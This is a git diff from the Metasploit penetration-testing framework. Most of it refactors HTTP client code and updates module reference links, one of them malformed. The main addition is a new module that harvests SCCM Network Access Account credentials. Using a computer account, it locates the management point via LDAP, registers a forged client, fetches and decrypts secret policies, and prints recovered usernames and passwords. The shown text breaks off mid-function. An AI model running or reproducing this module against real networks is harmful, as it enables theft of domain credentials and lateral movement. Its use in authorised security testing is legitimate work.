[Response] + def read_response(t = -1, opts = {}) + # Return a nil response if timeout is nil or 0 + return if t.nil? || t == 0 + + resp = Response.new + resp.max_data = config['read_max_data'] + + original_request = opts.fetch(:original_request) { nil } + parse_opts = {} + unless original_request.nil? + parse_opts = { orig_method: original_request.opts['method'] } + end - rblob = rbody.to_s + rbufq.to_s - tries = 0 - begin - # XXX: This doesn't deal with chunked encoding - while tries < 1000 and resp.headers["Content-Type"] and resp.headers["Content-Type"].start_with?('text/html') and rblob !~ /<\/html>/i - buff = conn.get_once(-1, 0.05) - break if not buff - rblob += buff - tries += 1 + Timeout.timeout((t < 0) ? nil : t) do + rv = nil + while ( + !conn.closed? and + rv != Packet::ParseCode::Completed and + rv != Packet::ParseCode::Error + ) + + begin + buff = conn.get_once(resp.max_data, 1) + rv = resp.parse(buff || '', parse_opts) + + # Handle unexpected disconnects + rescue ::Errno::EPIPE, ::EOFError, ::IOError + case resp.state + when Packet::ParseState::ProcessingHeader + resp = nil + when Packet::ParseState::ProcessingBody + # truncated request, good enough + resp.error = :truncated + end + break + end + + # This is a dirty hack for broken HTTP servers + next unless rv == Packet::ParseCode::Completed + + rbody = resp.body + rbufq = resp.bufq + + rblob = rbody.to_s + rbufq.to_s + tries = 0 + begin + # XXX: This doesn't deal with chunked encoding + while tries < 1000 and resp.headers['Content-Type'] and resp.headers['Content-Type'].start_with?('text/html') and rblob !~ %r{}i + buff = conn.get_once(-1, 0.05) + break if !buff + + rblob += buff + tries += 1 + end + rescue ::Errno::EPIPE, ::EOFError, ::IOError + end + + resp.bufq = '' + resp.body = rblob end - rescue ::Errno::EPIPE, ::EOFError, ::IOError end - resp.bufq = "" - resp.body = rblob - end - end - end + return resp if !resp + + # As a last minute hack, we check to see if we're dealing with a 100 Continue here. + # Most of the time this is handled by the parser via check_100() + if resp.proto == '1.1' and resp.code == 100 and !(opts[:skip_100]) + # Read the real response from the body if we found one + # If so, our real response became the body, so we re-parse it. + if resp.body.to_s =~ /^HTTP/ + body = resp.body + resp = Response.new + resp.max_data = config['read_max_data'] + resp.parse(body, parse_opts) + # We found a 100 Continue but didn't read the real reply yet + # Otherwise reread the reply, but don't try this hack again + else + resp = read_response(t, skip_100: true) + end + end - return resp if not resp - - # As a last minute hack, we check to see if we're dealing with a 100 Continue here. - # Most of the time this is handled by the parser via check_100() - if resp.proto == '1.1' and resp.code == 100 and not opts[:skip_100] - # Read the real response from the body if we found one - # If so, our real response became the body, so we re-parse it. - if resp.body.to_s =~ /^HTTP/ - body = resp.body - resp = Response.new - resp.max_data = config['read_max_data'] - rv = resp.parse(body, parse_opts) - # We found a 100 Continue but didn't read the real reply yet - # Otherwise reread the reply, but don't try this hack again - else - resp = read_response(t, :skip_100 => true) - end - end + resp + rescue Timeout::Error + # Allow partial response due to timeout + resp if config['partial'] + end - resp - rescue Timeout::Error - # Allow partial response due to timeout - resp if config['partial'] - end + # + # Cleans up any outstanding connections and other resources. + # + def stop + close + end - # - # Cleans up any outstanding connections and other resources. - # - def stop - close - end + # + # Returns whether or not the conn is valid. + # + def conn? + conn != nil + end - # - # Returns whether or not the conn is valid. - # - def conn? - conn != nil - end + # + # Whether or not connections should be pipelined. + # + def pipelining? + pipeline + end - # - # Whether or not connections should be pipelined. - # - def pipelining? - pipeline - end + # + # Target host addr and port for this connection + # + def peerinfo + if conn + pi = conn.peerinfo || nil + if pi + return { + 'addr' => pi.split(':')[0], + 'port' => pi.split(':')[1].to_i + } + end + end + nil + end - # - # Target host addr and port for this connection - # - def peerinfo - if self.conn - pi = self.conn.peerinfo || nil - if pi - return { - 'addr' => pi.split(':')[0], - 'port' => pi.split(':')[1].to_i - } + # + # An optional comm to use for creating the underlying socket. + # + attr_accessor :comm + # + # The client request configuration + # + attr_accessor :config + # + # The client request configuration classes + # + attr_accessor :config_types + # + # Whether or not pipelining is in use. + # + attr_accessor :pipeline + # + # The local host of the client. + # + attr_accessor :local_host + # + # The local port of the client. + # + attr_accessor :local_port + # + # The underlying connection. + # + attr_accessor :conn + # + # The calling context to pass to the socket + # + attr_accessor :context + # + # The proxy list + # + attr_accessor :proxies + + # Auth + attr_accessor :username, :password, :kerberos_authenticator + + # When parsing the request, thunk off the first response from the server, since junk + attr_accessor :junk_pipeline + + # @return [Rex::Proto::Http::HttpSubscriber] The HTTP subscriber + attr_accessor :subscriber + + protected + + # https + attr_accessor :ssl, :ssl_version # :nodoc: + + attr_accessor :hostname, :port # :nodoc: + + # + # The established NTLM connection info + # + attr_accessor :ntlm_client + + # + # The established kerberos connection info + # + attr_accessor :krb_encryptor end end - nil end - - # - # An optional comm to use for creating the underlying socket. - # - attr_accessor :comm - # - # The client request configuration - # - attr_accessor :config - # - # The client request configuration classes - # - attr_accessor :config_types - # - # Whether or not pipelining is in use. - # - attr_accessor :pipeline - # - # The local host of the client. - # - attr_accessor :local_host - # - # The local port of the client. - # - attr_accessor :local_port - # - # The underlying connection. - # - attr_accessor :conn - # - # The calling context to pass to the socket - # - attr_accessor :context - # - # The proxy list - # - attr_accessor :proxies - - # Auth - attr_accessor :username, :password, :kerberos_authenticator - - # When parsing the request, thunk off the first response from the server, since junk - attr_accessor :junk_pipeline - - # @return [Rex::Proto::Http::HttpSubscriber] The HTTP subscriber - attr_accessor :subscriber - -protected - - # https - attr_accessor :ssl, :ssl_version # :nodoc: - - attr_accessor :hostname, :port # :nodoc: - - # - # The established NTLM connection info - # - attr_accessor :ntlm_client - - # - # The established kerberos connection info - # - attr_accessor :krb_encryptor -end - -end -end end diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index 45016fc9d480a..f8780da55f42d 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -116,6 +116,16 @@ def get_xml_document Nokogiri::XML(self.body) end + def gzip_decode! + self.body = gzip_decode + end + + def gzip_decode + gz = Zlib::GzipReader.new(StringIO.new(self.body.to_s)) + + gz.read + end + # Returns a parsed json document. # Instead of using regexes to parse the JSON body, you should use this. # diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index f340c811bd0b2..aa75aecc2c90c 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -213,7 +213,7 @@ def send_e404(cli, request) "404 Not Found" + "" + "

Not found

" + - "The requested URL #{html_escape(request.resource)} was not found on this server.

" + + "The requested URL #{ERB::Util.html_escape(request.resource)} was not found on this server.

" + "" # Send the response to the client like what diff --git a/lib/rex/proto/smb/simple_client.rb b/lib/rex/proto/smb/simple_client.rb index fe4a8302de533..04507cd75a2d7 100644 --- a/lib/rex/proto/smb/simple_client.rb +++ b/lib/rex/proto/smb/simple_client.rb @@ -288,7 +288,15 @@ def peerport end def peerinfo - "#{peerhost}:#{peerport}" + Rex::Socket.to_authority(peerhost, peerport) + end + + def signing_required + if client.is_a?(Rex::Proto::SMB::Client) + client.peer_require_signing + else + client.signing_required + end end private diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index a7cd6306a199c..3912b835148da 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -129,7 +129,7 @@ Gem::Specification.new do |spec| # Needed for some modules (polkit_auth_bypass.rb) spec.add_runtime_dependency 'unix-crypt' # Needed for Kerberos structure parsing; Pinned to ensure a security review is performed on updates - spec.add_runtime_dependency 'rasn1', '0.13.0' + spec.add_runtime_dependency 'rasn1', '0.14.0' # # File Parsing Libraries diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb index cf30d4464239e..3d86e549726fc 100644 --- a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb +++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb @@ -33,7 +33,7 @@ def initialize(info = {}) 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], 'PassiveActions' => [ 'WebServer' ], 'References' => [ - [ 'URL', 'https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/'], + [ 'URL', 'http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/'], [ 'URL', 'https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581' ], [ 'OSVDB', '110664' ], [ 'CVE', '2014-6041' ] diff --git a/modules/auxiliary/admin/firetv/firetv_youtube.rb b/modules/auxiliary/admin/firetv/firetv_youtube.rb index cfbd52b03b70a..4b1869f2ec556 100644 --- a/modules/auxiliary/admin/firetv/firetv_youtube.rb +++ b/modules/auxiliary/admin/firetv/firetv_youtube.rb @@ -17,7 +17,7 @@ def initialize(info = {}) }, 'Author' => ['wvu'], 'References' => [ - ['URL', 'https://www.amazon.com/dp/B00CX5P8FC?_encoding=UTF8&showFS=1'], + ['URL', 'http://http://web.archive.org/web/20210301101536/http://www.amazon.com/dp/B00CX5P8FC/?_encoding=UTF8'], ['URL', 'https://www.amazon.com/dp/B00GDQ0RMG/ref=fs_ftvs'] ], 'License' => MSF_LICENSE, diff --git a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb index 464cea46bdcf8..10443b67f4025 100644 --- a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb +++ b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb @@ -44,7 +44,7 @@ def initialize(info = {}) [ 'CVE', '2015-0964' ], # XSS vulnerability [ 'CVE', '2015-0965' ], # CSRF vulnerability [ 'CVE', '2015-0966' ], # "technician/yZgO8Bvj" web interface backdoor - [ 'URL', 'https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ], + [ 'URL', 'http://web.archive.org/web/20220810083803/https://www.rapid7.com/blog/post/2015/06/05/r7-2015-01-csrf-backdoor-and-persistent-xss-on-arris-motorola-cable-modems/' ], ] ) ) diff --git a/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb b/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb index b42db4fbf163e..ba466a570b1c5 100644 --- a/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb +++ b/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.rb @@ -55,7 +55,7 @@ def initialize(info = {}) ['CVE', '2023-20198'], # Vendor advisories. ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'], - ['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], + ['URL', 'http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], # Vendor list of (205) vulnerable versions. ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'], # Technical details on CVE-2023-20198. diff --git a/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb b/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb index 3612b02d4e63f..6340193fa4bab 100644 --- a/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb +++ b/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb @@ -55,7 +55,7 @@ def initialize(info = {}) ['CVE', '2023-20273'], # Vendor advisories. ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'], - ['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], + ['URL', 'http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], # Vendor list of (205) vulnerable versions. ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'], # Technical details on CVE-2023-20198. diff --git a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb index 65973841921b0..9a990ec3a4a00 100644 --- a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb +++ b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb @@ -27,7 +27,7 @@ def initialize(info = {}) 'References' => [ [ 'CVE', '2013-0136' ], [ 'US-CERT-VU', '701572' ], - [ 'URL', 'https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ] + [ 'URL', 'http://web.archive.org/web/20250114041839/https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ] ], 'Actions' => [ ['Read', { 'Description' => 'Read arbitrary file' }], diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 8367f0973f467..2cc3905e51b81 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -27,7 +27,7 @@ def initialize(info = {}) ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ] + [ 'URL', 'http://web.archive.org/web/20230402081629/https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ] ], 'DefaultOptions' => { 'SSL' => true diff --git a/modules/auxiliary/admin/http/scrutinizer_add_user.rb b/modules/auxiliary/admin/http/scrutinizer_add_user.rb index ac53d6296ce12..02f60a976a8b1 100644 --- a/modules/auxiliary/admin/http/scrutinizer_add_user.rb +++ b/modules/auxiliary/admin/http/scrutinizer_add_user.rb @@ -19,7 +19,7 @@ def initialize(info = {}) 'References' => [ [ 'CVE', '2012-2626' ], [ 'OSVDB', '84318' ], - [ 'URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt' ] + [ 'URL', 'http://web.archive.org/web/20130827051639/https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt' ] ], 'Author' => [ 'MC', diff --git a/modules/auxiliary/admin/http/tomcat_ghostcat.rb b/modules/auxiliary/admin/http/tomcat_ghostcat.rb index f84da36403e1b..4610e15d8a31d 100644 --- a/modules/auxiliary/admin/http/tomcat_ghostcat.rb +++ b/modules/auxiliary/admin/http/tomcat_ghostcat.rb @@ -47,7 +47,7 @@ def initialize(info = {}) 'References' => [ ['CVE', '2020-1938'], ['EDB', '48143'], - ['URL', 'https://www.chaitin.cn/en/ghostcat'] + ['URL', 'http://web.archive.org/web/20250114042903/https://www.chaitin.cn/en/ghostcat'] ], 'DisclosureDate' => '2020-02-20', 'Notes' => { diff --git a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb index c48612db180c0..ee8d53ab34379 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb @@ -18,7 +18,7 @@ def initialize 'References' => [ ['CVE', '2010-3714'], ['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'], - ['URL', 'http://gregorkopf.de/slides_berlinsides_2010.pdf'], + ['URL', 'http://web.archive.org/web/20180126053019/http://gregorkopf.de/slides_berlinsides_2010.pdf'], ], 'Author' => [ 'Chris John Riley', diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb index 86fd27a674883..045f195335892 100644 --- a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb +++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb @@ -31,7 +31,7 @@ def initialize(info = {}) ['OSVDB', '114751'], ['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'], ['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'], - ['URL', 'https://github.com/bidord/pykek'], + ['URL', 'http://web.archive.org/web/20180107213459/https://github.com/bidord/pykek'], ['URL', 'https://www.rapid7.com/blog/post/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit'] ], 'License' => MSF_LICENSE, diff --git a/modules/auxiliary/admin/oracle/oracle_sql.rb b/modules/auxiliary/admin/oracle/oracle_sql.rb index 59b55fb11ad47..c793d38254cc9 100644 --- a/modules/auxiliary/admin/oracle/oracle_sql.rb +++ b/modules/auxiliary/admin/oracle/oracle_sql.rb @@ -18,7 +18,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://www.metasploit.com/users/mc' ], + [ 'URL', 'http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/' ], ], 'DisclosureDate' => '2007-12-07')) diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb index 3a56748cae699..143b1c947bb39 100644 --- a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb +++ b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb @@ -16,7 +16,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://www.metasploit.com/users/mc' ], + [ 'URL', 'http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/' ], ], 'DisclosureDate' => '2007-12-07')) diff --git a/modules/auxiliary/admin/oracle/sid_brute.rb b/modules/auxiliary/admin/oracle/sid_brute.rb index 4ca9e7cde5116..61f1577e5e6f6 100644 --- a/modules/auxiliary/admin/oracle/sid_brute.rb +++ b/modules/auxiliary/admin/oracle/sid_brute.rb @@ -17,7 +17,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://www.metasploit.com/users/mc' ], + [ 'URL', 'http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/' ], [ 'URL' , 'http://www.red-database-security.com/scripts/sid.txt' ], ], 'DisclosureDate' => '2009-01-07')) diff --git a/modules/auxiliary/admin/sccm/get_naa_credentials.rb b/modules/auxiliary/admin/sccm/get_naa_credentials.rb new file mode 100644 index 0000000000000..d2ea1d9df477d --- /dev/null +++ b/modules/auxiliary/admin/sccm/get_naa_credentials.rb @@ -0,0 +1,491 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'time' +require 'nokogiri' +require 'rasn1' + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::LDAP + include Msf::OptionalSession::LDAP + + KEY_SIZE = 2048 + SECRET_POLICY_FLAG = 4 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Get NAA Credentials', + 'Description' => %q{ + This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server. + This requires a computer account, which can be added using the samr_account module. + }, + 'Author' => [ + 'xpn', # Initial research + 'skelsec', # Initial obfuscation port + 'smashery' # module author + ], + 'References' => [ + ['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'], + ['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'], + ['URL', 'https://github.com/Mayyhem/SharpSCCM'], + ['URL', 'https://github.com/garrettfoster13/sccmhunter'] + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [], + 'SideEffects' => [CONFIG_CHANGES], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]), + OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]), + OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]), + OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]), + OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]), + OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]), + OptInt.new('TIMEOUT', [ true, 'Number of seconds to wait for SCCM DB to update', 10 ]), + ]) + + @session_or_rhost_required = false + end + + def find_management_point + ldap_connect do |ldap| + validate_bind_success!(ldap) + + if (@base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{@base_dn}") + else + print_status('Discovering base DN automatically') + + if (@base_dn = ldap.base_dn) + print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}") + else + fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") + end + end + raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*']) + return nil unless raw_objects.any? + + raw_obj = raw_objects.first + + raw_objects.each do |ro| + print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})") + end + + if raw_objects.length > 1 + print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})") + end + + obj = {} + obj[:rhost] = raw_obj[:dnshostname].first + obj[:sitecode] = raw_obj[:mssmssitecode].first + + obj + rescue Errno::ECONNRESET + fail_with(Failure::Disconnected, 'The connection was reset.') + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Failure::NoAccess, e.message) + rescue Net::LDAP::Error => e + fail_with(Failure::Unknown, "#{e.class}: #{e.message}") + end + end + + def run + management_point = datastore['MANAGEMENT_POINT'] + site_code = datastore['SITE_CODE'] + if management_point.blank? != site_code.blank? + fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)') + end + + if management_point.blank? + begin + result = find_management_point + fail_with(Failure::NotFound, 'Failed to find management point') unless result + management_point = result[:rhost] + site_code = result[:site_code] + rescue ::IOError => e + fail_with(Failure::UnexpectedReply, e.message) + end + end + + key, cert = generate_key_and_cert('ConfigMgr Client') + + http_opts = { + 'rhost' => management_point, + 'rport' => 80, + 'username' => datastore['COMPUTER_USER'], + 'password' => datastore['COMPUTER_PASS'], + 'headers' => { + 'User-Agent' => 'ConfigMgr Messaging HTTP Sender', + 'Accept-Encoding' => 'gzip, deflate', + 'Accept' => '*/*' + } + } + + sms_id, ip_address = register_request(http_opts, management_point, key, cert) + print_status("Waiting #{datastore['TIMEOUT']} seconds for SCCM DB to update...") + + sleep(datastore['TIMEOUT']) + + secret_urls = get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id) + all_results = Set.new + secret_urls.each do |url| + decrypted_policy = request_policy(http_opts, url, sms_id, key) + results = get_creds_from_policy_doc(decrypted_policy) + all_results.merge(results) + end + + if all_results.empty? + print_status('No NAA credentials configured') + end + + all_results.each do |username, password| + report_creds(ip_address, username, password) + print_good("Found valid NAA credentials: #{username}:#{password}") + end + rescue SocketError => e + fail_with(Failure::Unreachable, e.message) + end + + # Request the policy from the policy_url + def request_policy(http_opts, policy_url, sms_id, key) + policy_url.gsub!(%r{^https?://}, '') + policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D') + + now = Time.now.utc.iso8601 + client_token = "GUID:#{sms_id};#{now};2" + client_signature = rsa_sign(key, (client_token + "\x00").encode('utf-16le').bytes.pack('C*')) + + opts = http_opts.merge({ + 'uri' => policy_url, + 'method' => 'GET' + }) + opts['headers'] = opts['headers'].merge({ + 'ClientToken' => client_token, + 'ClientTokenSignature' => client_signature + }) + + http_response = send_request_cgi(opts) + http_response.gzip_decode! + + ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body) + cms_envelope = ci.enveloped_data + + ri = cms_envelope[:recipient_infos] + if ri.value.empty? + fail_with(Failure::UnexpectedReply, 'No recipient infos provided') + end + + if ri[0][:ktri].nil? + fail_with(Failure::UnexpectedReply, 'KeyTransRecipientInfo not found') + end + + body = cms_envelope[:encrypted_content_info][:encrypted_content].value + + key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value + encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value + if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSA_ENCRYPTION.value + decrypted_key = key.private_decrypt(encrypted_rsa_key) + elsif key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value + decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING) + else + fail_with(Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}") + end + + cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm] + algorithms = { + Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => { iv_length: 16, key_length: 32, cipher_name: 'aes-256-cbc' }, + Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => { iv_length: 8, key_length: 24, cipher_name: 'des-ede3-cbc' } + } + if algorithms.include?(cea[:algorithm].value) + alg_hash = algorithms[cea[:algorithm].value] + if decrypted_key.length != alg_hash[:key_length] + fail_with(Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}") + end + iv = RASN1::Types::OctetString.new + iv.parse!(cea[:parameters].value) + if iv.value.length != alg_hash[:iv_length] + fail_with(Failure::UnexpectedReply, "Bad IV length: #{iv.length}") + end + cipher = OpenSSL::Cipher.new(alg_hash[:cipher_name]) + cipher.decrypt + cipher.key = decrypted_key + cipher.iv = iv.value + + decrypted = cipher.update(body) + cipher.final + else + fail_with(Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}") + end + + decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00") + end + + # Retrieve all the policies with secret components in them + def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id) + computer_user = datastore['COMPUTER_USER'].delete_suffix('$') + fqdn = "#{computer_user}.#{datastore['DOMAIN']}" + hex_pub_key = make_ms_pubkey(cert.public_key) + guid = SecureRandom.uuid.upcase + sent_time = Time.now.utc.iso8601 + sccm_host = management_point.downcase + request_assignments = "GUID:#{sms_id}#{fqdn}#{computer_user}SMS:#{site_code}\x00" + request_assignments.encode!('utf-16le') + body_length = request_assignments.bytes.length + request_assignments = request_assignments.bytes.pack('C*') + "\r\n" + compressed = Rex::Text.zlib_deflate(request_assignments) + + payload_signature = rsa_sign(key, compressed) + + client_id = "GUID:{#{sms_id.upcase}}\x00" + client_ids_signature = rsa_sign(key, client_id.encode('utf-16le')) + header = "{00000000-0000-0000-0000-000000000000}#{computer_user}#{hex_pub_key}#{client_ids_signature}#{payload_signature}NonSSL1.2.840.113549.1.1.11{#{guid}}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}GUID:#{sms_id}#{computer_user}mp:MP_PolicyManagerMP_PolicyManager#{sccm_host}60000" + + message = Rex::MIME::Message.new + message.bound = 'aAbBcCdDv1234567890VxXyYzZ' + + message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) + message.add_part(compressed, 'application/octet-stream', 'binary') + opts = http_opts.merge({ + 'uri' => '/ccm_system/request', + 'method' => 'CCM_POST', + 'data' => message.to_s + }) + opts['headers'] = opts['headers'].merge({ + 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"' + }) + http_response = send_request_cgi(opts) + response = Rex::MIME::Message.new(http_response.to_s) + + fail_with(Failure::UnexpectedReply, 'No content received in request for policies, try increasing TIMEOUT or rerunning the module.') unless response.parts[1]&.content + compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') + xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) + policies = xml_doc.xpath('//Policy') + secret_policies = policies.select do |policy| + flags = policy.attributes['PolicyFlags'] + next if flags.nil? + + flags.value.to_i & SECRET_POLICY_FLAG == SECRET_POLICY_FLAG + end + + urls = secret_policies.map do |policy| + policy.xpath('PolicyLocation/text()').text + end + + urls = urls.reject(&:blank?) + + urls.each do |url| + print_status("Found policy containing secrets: #{url}") + end + + urls + end + + # Sign the data using the RSA key, and reverse it (strange, but it's what's required) + def rsa_sign(key, data) + signature = key.sign(OpenSSL::Digest.new('SHA256'), data) + signature.reverse! + + signature.unpack('H*')[0].upcase + end + + # Make a pubkey structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb) + def make_ms_pubkey(pub_key) + result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31" + result += [KEY_SIZE, pub_key.e].pack('II') + result += [pub_key.n.to_s(16)].pack('H*') + + result.unpack('H*')[0] + end + + # Make a request to the SCCM server to register our computer + def register_request(http_opts, management_point, key, cert) + pub_key = cert.to_der.unpack('H*')[0].upcase + + computer_user = datastore['COMPUTER_USER'].delete_suffix('$') + fqdn = "#{computer_user}.#{datastore['DOMAIN']}" + sent_time = Time.now.utc.iso8601 + registration_request_data = "#{pub_key}#{pub_key}" + + signature = rsa_sign(key, registration_request_data.encode('utf-16le')) + + registration_request = "#{registration_request_data}#{signature}\x00" + + rr_utf16 = '' + rr_utf16 << registration_request.encode('utf-16le').bytes.pack('C*') + body_length = rr_utf16.length + rr_utf16 << "\r\n" + + header = 